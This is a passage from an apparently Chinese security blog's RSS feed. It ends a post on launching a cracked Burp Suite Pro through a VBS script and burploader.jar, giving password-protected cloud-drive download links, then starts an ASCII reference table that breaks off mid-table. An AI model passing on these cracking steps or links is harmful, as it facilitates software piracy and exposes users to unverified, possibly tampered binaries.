  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>更改文件后缀为vbs</p>
<p>双击此vbs脚本，即可无窗口直接打开破解好的BP，要注意的是burploader.jar 要和bp本体在一个文件夹</p>
<p>vbs脚本里的bp路径别搞错了</p>
<p>当然你也可以将，vbs新建快捷方式放在任何地方</p>
<p>所用工具在以下链接</p>
<blockquote>
<p><a
  href="https://url83.ctfile.com/f/52475383-1011819082-20f163?p=6918" rel="nofollow noopener noreferrer" target="_blank"
  >城通网盘<span style="user-select:none"> ↗</span></a
>
 (密码: 6918)</p>
<p><a
  href="https://cloud.189.cn/web/share?code=RnAnqaj6raMn" rel="nofollow noopener noreferrer" target="_blank"
  >天翼网盘<span style="user-select:none"> ↗</span></a
>
 (密码：pi8o)</p>
<p><a
  href="https://pan.baidu.com/s/1GQCJvk-db-H5PML-FXwZKw?pwd=p9qt" rel="nofollow noopener noreferrer" target="_blank"
  >百度云盘<span style="user-select:none"> ↗</span></a
>
 (密码：p9qt)</p>
</blockquote>
<p>结束！</p>
]]></content:encoded><h:img src="https://h4cker.zip/6e66e7/bp_free_pro.webp"/><enclosure url="https://h4cker.zip/6e66e7/bp_free_pro.webp"/><atom:updated>2025-10-03T20:57:07+08:00</atom:updated><category>抓包</category><category>Burp Suite</category></item><item><title>ASCII表（标准 &amp; 扩展）</title><link>https://h4cker.zip/9168e5/</link><pubDate>Sat, 11 Nov 2023 18:07:47 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/9168e5/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="标准ascii0-127详细视图">标准ASCII（0-127）——详细视图<a class="anchor" href="#标准ascii0-127详细视图">#</a></h2>
<p><strong>标准 ASCII 字符：</strong> 控制代码（0-31、127）及可打印字符（32-126），附十进制、十六进制、八进制和二进制表示。</p>
<table>
	<thead>
			<tr>
					<th style="text-align: center">十进制</th>
					<th style="text-align: center">十六进制</th>
					<th style="text-align: center">八进制</th>
					<th style="text-align: center">二进制</th>
					<th style="text-align: center">字符</th>
					<th style="text-align: center">HTML 代码</th>
					<th style="text-align: center">HTML 实体</th>
					<th style="text-align: center">Ctrl快捷键</th>
					<th style="text-align: center">含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center">0</td>
					<td style="text-align: center">00</td>
					<td style="text-align: center">000</td>
					<td style="text-align: center">00000000</td>
					<td style="text-align: center"><em><strong>NUL</strong></em></td>
					<td style="text-align: center"><code>&amp;#0;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^@</td>
					<td style="text-align: center">空字符</td>
			</tr>
			<tr>
					<td style="text-align: center">1</td>
					<td style="text-align: center">01</td>
					<td style="text-align: center">001</td>
					<td style="text-align: center">00000001</td>
					<td style="text-align: center"><em><strong>SOH</strong></em></td>
					<td style="text-align: center"><code>&amp;#1;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^A</td>
					<td style="text-align: center">标题开始</td>
			</tr>
			<tr>
					<td style="text-align: center">2</td>
					<td style="text-align: center">02</td>
					<td style="text-align: center">002</td>
					<td style="text-align: center">00000010</td>
					<td style="text-align: center"><em><strong>STX</strong></em></td>
					<td style="text-align: center"><code>&amp;#2;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^B</td>
					<td style="text-align: center">文本开始</td>
			</tr>
			<tr>
					<td style="text-align: center">3</td>
					<td style="text-align: center">03</td>
					<td style="text-align: center">003</td>
					<td style="text-align: center">00000011</td>
					<td style="text-align: center"><em><strong>ETX</strong></em></td>
					<td style="text-align: center"><code>&amp;#3;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^C</td>
					<td style="text-align: center">文本结束</td>
			</tr>
			<tr>
					<td style="text-align: center">4</td>
					<td style="text-align: center">04</td>
					<td style="text-align: center">004</td>
					<td style="text-align: center">00000100</td>
					<td style="text-align: center"><em><strong>EOT</strong></em></td>
					<td style="text-align: center"><code>&amp;#4;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^D</td>
					<td style="text-align: center">传输结束</td>
			</tr>
			<tr>
					<td style="text-align: center">5</td>
					<td style="text-align: center">05</td>
					<td style="text-align: center">005</td>
					<td style="text-align: center">00000101</td>
					<td style="text-align: center"><em><strong>ENQ</strong></em></td>
					<td style="text-align: center"><code>&amp;#5;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^E</td>
					<td style="text-align: center">查询</td>
			</tr>
			<tr>
					<td style="text-align: center">6</td>
					<td style="text-align: center">06</td>
					<td style="text-align: center">006</td>
					<td style="text-align: center">00000110</td>
					<td style="text-align: center"><em><strong>ACK</strong></em></td>
					<td style="text-align: center"><code>&amp;#6;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^F</td>
					<td style="text-align: center">确认</td>
			</tr>
			<tr>
					<td style="text-align: center">7</td>
					<td style="text-align: center">07</td>
					<td style="text-align: center">007</td>
					<td style="text-align: center">00000111</td>
					<td style="text-align: center"><em><strong>BEL</strong></em></td>
					<td style="text-align: center"><code>&amp;#7;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^G</td>
					<td style="text-align: center">铃声，警报</td>
			</tr>
			<tr>
					<td style="text-align: center">8</td>
					<td style="text-align: center">08</td>
					<td style="text-align: center">010</td>
					<td style="text-align: center">00001000</td>
					<td style="text-align: center"><em><strong>BS</strong></em></td>
					<td style="text-align: center"><code>&amp;#8;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^H</td>
					<td style="text-align: center">退格</td>
			</tr>
			<tr>
					<td style="text-align: center">9</td>
					<td style="text-align: center">09</td>
					<td style="text-align: center">011</td>
					<td style="text-align: center">00001001</td>
					<td style="text-align: center"><em><strong>HT</strong></em></td>
					<td style="text-align: center"><code>&amp;#9;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^I</td>
					<td style="text-align: center">字符制表</td>
			</tr>
			<tr>
					<td style="text-align: center">10</td>
					<td style="text-align: center">0A</td>
					<td style="text-align: center">012</td>
					<td style="text-align: center">00001010</td>
					<td style="text-align: center"><em><strong>LF</strong></em></td>
					<td style="text-align: center"><code>&amp;#10;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^J</td>
					<td style="text-align: center">换行</td>
			</tr>
			<tr>
					<td style="text-align: center">11</td>
					<td style="text-align: center">0B</td>
					<td style="text-align: center">013</td>
					<td style="text-align: center">00001011</td>
					<td style="text-align: center"><em><strong>VT</strong></em></td>
					<td style="text-align: center"><code>&amp;#11;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^K</td>
					<td style="text-align: center">制表符</td>
			</tr>
			<tr>
					<td style="text-align: center">12</td>
					<td style="text-align: center">0C</td>
					<td style="text-align: center">014</td>
					<td style="text-align: center">00001100</td>
					<td style="text-align: center"><em><strong>FF</strong></em></td>
					<td style="text-align: center"><code>&amp;#12;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^L</td>
					<td style="text-align: center">换页</td>
			</tr>
			<tr>
					<td style="text-align: center">13</td>
					<td style="text-align: center">0D</td>
					<td style="text-align: center">015</td>
					<td style="text-align: center">00001101</td>
					<td style="text-align: center"><em><strong>CR</strong></em></td>
					<td style="text-align: center"><code>&amp;#13;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^M</td>
					<td style="text-align: center">回车</td>
			</tr>
			<tr>
					<td style="text-align: center">14</td>
					<td style="text-align: center">0E</td>
					<td style="text-align: center">016</td>
					<td style="text-align: center">00001110</td>
					<td style="text-align: center"><em><strong>SO</strong></em></td>
					<td style="text-align: center"><code>&amp;#14;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^N</td>
					<td style="text-align: center">移出</td>
			</tr>
			<tr>
					<td style="text-align: center">15</td>
					<td style="text-align: center">0F</td>
					<td style="text-align: center">017</td>
					<td style="text-align: center">00001111</td>
					<td style="text-align: center"><em><strong>SI</strong></em></td>
					<td style="text-align: center"><code>&amp;#15;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^O</td>
					<td style="text-align: center">移位</td>
			</tr>
			<tr>
					<td style="text-align: center">16</td>
					<td style="text-align: center">10</td>
					<td style="text-align: center">020</td>
					<td style="text-align: center">00010000</td>
					<td style="text-align: center"><em><strong>DLE</strong></em></td>
					<td style="text-align: center"><code>&amp;#16;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^P</td>
					<td style="text-align: center">数据链路转义</td>
			</tr>
			<tr>
					<td style="text-align: center">17</td>
					<td style="text-align: center">11</td>
					<td style="text-align: center">021</td>
					<td style="text-align: center">00010001</td>
					<td style="text-align: center"><em><strong>DC1</strong></em></td>
					<td style="text-align: center"><code>&amp;#17;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^Q</td>
					<td style="text-align: center">设备控制 1（XON）</td>
			</tr>
			<tr>
					<td style="text-align: center">18</td>
					<td style="text-align: center">12</td>
					<td style="text-align: center">022</td>
					<td style="text-align: center">00010010</td>
					<td style="text-align: center"><em><strong>DC2</strong></em></td>
					<td style="text-align: center"><code>&amp;#18;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^R</td>
					<td style="text-align: center">设备控制 2</td>
			</tr>
			<tr>
					<td style="text-align: center">19</td>
					<td style="text-align: center">13</td>
					<td style="text-align: center">023</td>
					<td style="text-align: center">00010011</td>
					<td style="text-align: center"><em><strong>DC3</strong></em></td>
					<td style="text-align: center"><code>&amp;#19;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^S</td>
					<td style="text-align: center">设备控制 3（XOFF）</td>
			</tr>
			<tr>
					<td style="text-align: center">20</td>
					<td style="text-align: center">14</td>
					<td style="text-align: center">024</td>
					<td style="text-align: center">00010100</td>
					<td style="text-align: center"><em><strong>DC4</strong></em></td>
					<td style="text-align: center"><code>&amp;#20;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^T</td>
					<td style="text-align: center">设备控制 4</td>
			</tr>
			<tr>
					<td style="text-align: center">21</td>
					<td style="text-align: center">15</td>
					<td style="text-align: center">025</td>
					<td style="text-align: center">00010101</td>
					<td style="text-align: center"><em><strong>NAK</strong></em></td>
					<td style="text-align: center"><code>&amp;#21;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^U</td>
					<td style="text-align: center">否定确认</td>
			</tr>
			<tr>
					<td style="text-align: center">22</td>
					<td style="text-align: center">16</td>
					<td style="text-align: center">026</td>
					<td style="text-align: center">00010110</td>
					<td style="text-align: center"><em><strong>SYN</strong></em></td>
					<td style="text-align: center"><code>&amp;#22;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^V</td>
					<td style="text-align: center">同步空闲</td>
			</tr>
			<tr>
					<td style="text-align: center">23</td>
					<td style="text-align: center">17</td>
					<td style="text-align: center">027</td>
					<td style="text-align: center">00010111</td>
					<td style="text-align: center"><em><strong>ETB</strong></em></td>
					<td style="text-align: center"><code>&amp;#23;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^W</td>
					<td style="text-align: center">传输块结束</td>
			</tr>
			<tr>
					<td style="text-align: center">24</td>
					<td style="text-align: center">18</td>
					<td style="text-align: center">030</td>
					<td style="text-align: center">00011000</td>
					<td style="text-align: center"><em><strong>CAN</strong></em></td>
					<td style="text-align: center"><code>&amp;#24;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^X</td>
					<td style="text-align: center">取消</td>
			</tr>
			<tr>
					<td style="text-align: center">25</td>
					<td style="text-align: center">19</td>
					<td style="text-align: center">031</td>
					<td style="text-align: center">00011001</td>
					<td style="text-align: center"><em><strong>EM</strong></em></td>
					<td style="text-align: center"><code>&amp;#25;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^Y</td>
					<td style="text-align: center">介质结束</td>
			</tr>
			<tr>
					<td style="text-align: center">26</td>
					<td style="text-align: center">1A</td>
					<td style="text-align: center">032</td>
					<td style="text-align: center">00011010</td>
					<td style="text-align: center"><em><strong>SUB</strong></em></td>
					<td style="text-align: center"><code>&amp;#26;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^Z</td>
					<td style="text-align: center">替换</td>
			</tr>
			<tr>
					<td style="text-align: center">27</td>
					<td style="text-align: center">1B</td>
					<td style="text-align: center">033</td>
					<td style="text-align: center">00011011</td>
					<td style="text-align: center"><em><strong>ESC</strong></em></td>
					<td style="text-align: center"><code>&amp;#27;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^[</td>
					<td style="text-align: center">转义</td>
			</tr>
			<tr>
					<td style="text-align: center">28</td>
					<td style="text-align: center">1C</td>
					<td style="text-align: center">034</td>
					<td style="text-align: center">00011100</td>
					<td style="text-align: center"><em><strong>FS</strong></em></td>
					<td style="text-align: center"><code>&amp;#28;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^\</td>
					<td style="text-align: center">文件分隔符</td>
			</tr>
			<tr>
					<td style="text-align: center">29</td>
					<td style="text-align: center">1D</td>
					<td style="text-align: center">035</td>
					<td style="text-align: center">00011101</td>
					<td style="text-align: center"><em><strong>GS</strong></em></td>
					<td style="text-align: center"><code>&amp;#29;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^]</td>
					<td style="text-align: center">组分隔符</td>
			</tr>
			<tr>
					<td style="text-align: center">30</td>
					<td style="text-align: center">1E</td>
					<td style="text-align: center">036</td>
					<td style="text-align: center">00011110</td>
					<td style="text-align: center"><em><strong>RS</strong></em></td>
					<td style="text-align: center"><code>&amp;#30;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^^</td>
					<td style="text-align: center">记录分隔符</td>
			</tr>
			<tr>
					<td style="text-align: center">31</td>
					<td style="text-align: center">1F</td>
					<td style="text-align: center">037</td>
					<td style="text-align: center">00011111</td>
					<td style="text-align: center"><em><strong>US</strong></em></td>
					<td style="text-align: center"><code>&amp;#31;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^_</td>
					<td style="text-align: center">单元分隔符</td>
			</tr>
			<tr>
					<td style="text-align: center">32</td>
					<td style="text-align: center">20</td>
					<td style="text-align: center">040</td>
					<td style="text-align: center">00100000</td>
					<td style="text-align: center"><em><strong>space</strong></em></td>
					<td style="text-align: center"><code>&amp;#32;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">空格</td>
			</tr>
			<tr>
					<td style="text-align: center">33</td>
					<td style="text-align: center">21</td>
					<td style="text-align: center">041</td>
					<td style="text-align: center">00100001</td>
					<td style="text-align: center"><strong>!</strong></td>
					<td style="text-align: center"><code>&amp;#33;</code></td>
					<td style="text-align: center"><code>&amp;excl;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">感叹号</td>
			</tr>
			<tr>
					<td style="text-align: center">34</td>
					<td style="text-align: center">22</td>
					<td style="text-align: center">042</td>
					<td style="text-align: center">00100010</td>
					<td style="text-align: center"><strong>&quot;</strong></td>
					<td style="text-align: center"><code>&amp;#34;</code></td>
					<td style="text-align: center"><code>&amp;quot;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">引号</td>
			</tr>
			<tr>
					<td style="text-align: center">35</td>
					<td style="text-align: center">23</td>
					<td style="text-align: center">043</td>
					<td style="text-align: center">00100011</td>
					<td style="text-align: center"><strong>#</strong></td>
					<td style="text-align: center"><code>&amp;#35;</code></td>
					<td style="text-align: center"><code>&amp;num;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">井号</td>
			</tr>
			<tr>
					<td style="text-align: center">36</td>
					<td style="text-align: center">24</td>
					<td style="text-align: center">044</td>
					<td style="text-align: center">00100100</td>
					<td style="text-align: center"><strong>$</strong></td>
					<td style="text-align: center"><code>&amp;#36;</code></td>
					<td style="text-align: center"><code>&amp;dollar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">美元符号</td>
			</tr>
			<tr>
					<td style="text-align: center">37</td>
					<td style="text-align: center">25</td>
					<td style="text-align: center">045</td>
					<td style="text-align: center">00100101</td>
					<td style="text-align: center"><strong>%</strong></td>
					<td style="text-align: center"><code>&amp;#37;</code></td>
					<td style="text-align: center"><code>&amp;percnt;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">百分号</td>
			</tr>
			<tr>
					<td style="text-align: center">38</td>
					<td style="text-align: center">26</td>
					<td style="text-align: center">046</td>
					<td style="text-align: center">00100110</td>
					<td style="text-align: center"><strong>&amp;</strong></td>
					<td style="text-align: center"><code>&amp;#38;</code></td>
					<td style="text-align: center"><code>&amp;amp;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">与号</td>
			</tr>
			<tr>
					<td style="text-align: center">39</td>
					<td style="text-align: center">27</td>
					<td style="text-align: center">047</td>
					<td style="text-align: center">00100111</td>
					<td style="text-align: center"><strong>&rsquo;</strong></td>
					<td style="text-align: center"><code>&amp;#39;</code></td>
					<td style="text-align: center"><code>&amp;apos;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">单引号</td>
			</tr>
			<tr>
					<td style="text-align: center">40</td>
					<td style="text-align: center">28</td>
					<td style="text-align: center">050</td>
					<td style="text-align: center">00101000</td>
					<td style="text-align: center"><strong>(</strong></td>
					<td style="text-align: center"><code>&amp;#40;</code></td>
					<td style="text-align: center"><code>&amp;lpar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左括号</td>
			</tr>
			<tr>
					<td style="text-align: center">41</td>
					<td style="text-align: center">29</td>
					<td style="text-align: center">051</td>
					<td style="text-align: center">00101001</td>
					<td style="text-align: center"><strong>)</strong></td>
					<td style="text-align: center"><code>&amp;#41;</code></td>
					<td style="text-align: center"><code>&amp;rpar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右括号</td>
			</tr>
			<tr>
					<td style="text-align: center">42</td>
					<td style="text-align: center">2A</td>
					<td style="text-align: center">052</td>
					<td style="text-align: center">00101010</td>
					<td style="text-align: center"><strong>*</strong></td>
					<td style="text-align: center"><code>&amp;#42;</code></td>
					<td style="text-align: center"><code>&amp;ast;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">星号</td>
			</tr>
			<tr>
					<td style="text-align: center">43</td>
					<td style="text-align: center">2B</td>
					<td style="text-align: center">053</td>
					<td style="text-align: center">00101011</td>
					<td style="text-align: center"><strong>+</strong></td>
					<td style="text-align: center"><code>&amp;#43;</code></td>
					<td style="text-align: center"><code>&amp;plus;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">加号</td>
			</tr>
			<tr>
					<td style="text-align: center">44</td>
					<td style="text-align: center">2C</td>
					<td style="text-align: center">054</td>
					<td style="text-align: center">00101100</td>
					<td style="text-align: center"><strong>,</strong></td>
					<td style="text-align: center"><code>&amp;#44;</code></td>
					<td style="text-align: center"><code>&amp;comma;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">逗号</td>
			</tr>
			<tr>
					<td style="text-align: center">45</td>
					<td style="text-align: center">2D</td>
					<td style="text-align: center">055</td>
					<td style="text-align: center">00101101</td>
					<td style="text-align: center"><strong>-</strong></td>
					<td style="text-align: center"><code>&amp;#45;</code></td>
					<td style="text-align: center"><code>&amp;hyphen;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">连字符-</td>
			</tr>
			<tr>
					<td style="text-align: center">46</td>
					<td style="text-align: center">2E</td>
					<td style="text-align: center">056</td>
					<td style="text-align: center">00101110</td>
					<td style="text-align: center"><strong>.</strong></td>
					<td style="text-align: center"><code>&amp;#46;</code></td>
					<td style="text-align: center"><code>&amp;period;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">句号</td>
			</tr>
			<tr>
					<td style="text-align: center">47</td>
					<td style="text-align: center">2F</td>
					<td style="text-align: center">057</td>
					<td style="text-align: center">00101111</td>
					<td style="text-align: center"><strong>/</strong></td>
					<td style="text-align: center"><code>&amp;#47;</code></td>
					<td style="text-align: center"><code>&amp;sol;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">斜线</td>
			</tr>
			<tr>
					<td style="text-align: center">48</td>
					<td style="text-align: center">30</td>
					<td style="text-align: center">060</td>
					<td style="text-align: center">00110000</td>
					<td style="text-align: center"><strong>0</strong></td>
					<td style="text-align: center"><code>&amp;#48;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字零</td>
			</tr>
			<tr>
					<td style="text-align: center">49</td>
					<td style="text-align: center">31</td>
					<td style="text-align: center">061</td>
					<td style="text-align: center">00110001</td>
					<td style="text-align: center"><strong>1</strong></td>
					<td style="text-align: center"><code>&amp;#49;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字一</td>
			</tr>
			<tr>
					<td style="text-align: center">50</td>
					<td style="text-align: center">32</td>
					<td style="text-align: center">062</td>
					<td style="text-align: center">00110010</td>
					<td style="text-align: center"><strong>2</strong></td>
					<td style="text-align: center"><code>&amp;#50;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字二</td>
			</tr>
			<tr>
					<td style="text-align: center">51</td>
					<td style="text-align: center">33</td>
					<td style="text-align: center">063</td>
					<td style="text-align: center">00110011</td>
					<td style="text-align: center"><strong>3</strong></td>
					<td style="text-align: center"><code>&amp;#51;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字三</td>
			</tr>
			<tr>
					<td style="text-align: center">52</td>
					<td style="text-align: center">34</td>
					<td style="text-align: center">064</td>
					<td style="text-align: center">00110100</td>
					<td style="text-align: center"><strong>4</strong></td>
					<td style="text-align: center"><code>&amp;#52;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字四</td>
			</tr>
			<tr>
					<td style="text-align: center">53</td>
					<td style="text-align: center">35</td>
					<td style="text-align: center">065</td>
					<td style="text-align: center">00110101</td>
					<td style="text-align: center"><strong>5</strong></td>
					<td style="text-align: center"><code>&amp;#53;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字五</td>
			</tr>
			<tr>
					<td style="text-align: center">54</td>
					<td style="text-align: center">36</td>
					<td style="text-align: center">066</td>
					<td style="text-align: center">00110110</td>
					<td style="text-align: center"><strong>6</strong></td>
					<td style="text-align: center"><code>&amp;#54;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字六</td>
			</tr>
			<tr>
					<td style="text-align: center">55</td>
					<td style="text-align: center">37</td>
					<td style="text-align: center">067</td>
					<td style="text-align: center">00110111</td>
					<td style="text-align: center"><strong>7</strong></td>
					<td style="text-align: center"><code>&amp;#55;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字七</td>
			</tr>
			<tr>
					<td style="text-align: center">56</td>
					<td style="text-align: center">38</td>
					<td style="text-align: center">070</td>
					<td style="text-align: center">00111000</td>
					<td style="text-align: center"><strong>8</strong></td>
					<td style="text-align: center"><code>&amp;#56;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字八</td>
			</tr>
			<tr>
					<td style="text-align: center">57</td>
					<td style="text-align: center">39</td>
					<td style="text-align: center">071</td>
					<td style="text-align: center">00111001</td>
					<td style="text-align: center"><strong>9</strong></td>
					<td style="text-align: center"><code>&amp;#57;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">数字九</td>
			</tr>
			<tr>
					<td style="text-align: center">58</td>
					<td style="text-align: center">3A</td>
					<td style="text-align: center">072</td>
					<td style="text-align: center">00111010</td>
					<td style="text-align: center"><strong>:</strong></td>
					<td style="text-align: center"><code>&amp;#58;</code></td>
					<td style="text-align: center"><code>&amp;colon;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">冒号</td>
			</tr>
			<tr>
					<td style="text-align: center">59</td>
					<td style="text-align: center">3B</td>
					<td style="text-align: center">073</td>
					<td style="text-align: center">00111011</td>
					<td style="text-align: center"><strong>;</strong></td>
					<td style="text-align: center"><code>&amp;#59;</code></td>
					<td style="text-align: center"><code>&amp;semi;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">分号</td>
			</tr>
			<tr>
					<td style="text-align: center">60</td>
					<td style="text-align: center">3C</td>
					<td style="text-align: center">074</td>
					<td style="text-align: center">00111100</td>
					<td style="text-align: center"><strong>&lt;</strong></td>
					<td style="text-align: center"><code>&amp;#60;</code></td>
					<td style="text-align: center"><code>&amp;lt;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">小于号</td>
			</tr>
			<tr>
					<td style="text-align: center">61</td>
					<td style="text-align: center">3D</td>
					<td style="text-align: center">075</td>
					<td style="text-align: center">00111101</td>
					<td style="text-align: center"><strong>=</strong></td>
					<td style="text-align: center"><code>&amp;#61;</code></td>
					<td style="text-align: center"><code>&amp;equals;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">等号</td>
			</tr>
			<tr>
					<td style="text-align: center">62</td>
					<td style="text-align: center">3E</td>
					<td style="text-align: center">076</td>
					<td style="text-align: center">00111110</td>
					<td style="text-align: center"><strong>&gt;</strong></td>
					<td style="text-align: center"><code>&amp;#62;</code></td>
					<td style="text-align: center"><code>&amp;gt;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">大于号</td>
			</tr>
			<tr>
					<td style="text-align: center">63</td>
					<td style="text-align: center">3F</td>
					<td style="text-align: center">077</td>
					<td style="text-align: center">00111111</td>
					<td style="text-align: center"><strong>?</strong></td>
					<td style="text-align: center"><code>&amp;#63;</code></td>
					<td style="text-align: center"><code>&amp;quest;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">问号</td>
			</tr>
			<tr>
					<td style="text-align: center">64</td>
					<td style="text-align: center">40</td>
					<td style="text-align: center">100</td>
					<td style="text-align: center">01000000</td>
					<td style="text-align: center"><strong>@</strong></td>
					<td style="text-align: center"><code>&amp;#64;</code></td>
					<td style="text-align: center"><code>&amp;commat;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">AT 符号</td>
			</tr>
			<tr>
					<td style="text-align: center">65</td>
					<td style="text-align: center">41</td>
					<td style="text-align: center">101</td>
					<td style="text-align: center">01000001</td>
					<td style="text-align: center"><strong>A</strong></td>
					<td style="text-align: center"><code>&amp;#65;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">66</td>
					<td style="text-align: center">42</td>
					<td style="text-align: center">102</td>
					<td style="text-align: center">01000010</td>
					<td style="text-align: center"><strong>B</strong></td>
					<td style="text-align: center"><code>&amp;#66;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 B</td>
			</tr>
			<tr>
					<td style="text-align: center">67</td>
					<td style="text-align: center">43</td>
					<td style="text-align: center">103</td>
					<td style="text-align: center">01000011</td>
					<td style="text-align: center"><strong>C</strong></td>
					<td style="text-align: center"><code>&amp;#67;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 C</td>
			</tr>
			<tr>
					<td style="text-align: center">68</td>
					<td style="text-align: center">44</td>
					<td style="text-align: center">104</td>
					<td style="text-align: center">01000100</td>
					<td style="text-align: center"><strong>D</strong></td>
					<td style="text-align: center"><code>&amp;#68;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 D</td>
			</tr>
			<tr>
					<td style="text-align: center">69</td>
					<td style="text-align: center">45</td>
					<td style="text-align: center">105</td>
					<td style="text-align: center">01000101</td>
					<td style="text-align: center"><strong>E</strong></td>
					<td style="text-align: center"><code>&amp;#69;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">70</td>
					<td style="text-align: center">46</td>
					<td style="text-align: center">106</td>
					<td style="text-align: center">01000110</td>
					<td style="text-align: center"><strong>F</strong></td>
					<td style="text-align: center"><code>&amp;#70;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 F</td>
			</tr>
			<tr>
					<td style="text-align: center">71</td>
					<td style="text-align: center">47</td>
					<td style="text-align: center">107</td>
					<td style="text-align: center">01000111</td>
					<td style="text-align: center"><strong>G</strong></td>
					<td style="text-align: center"><code>&amp;#71;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
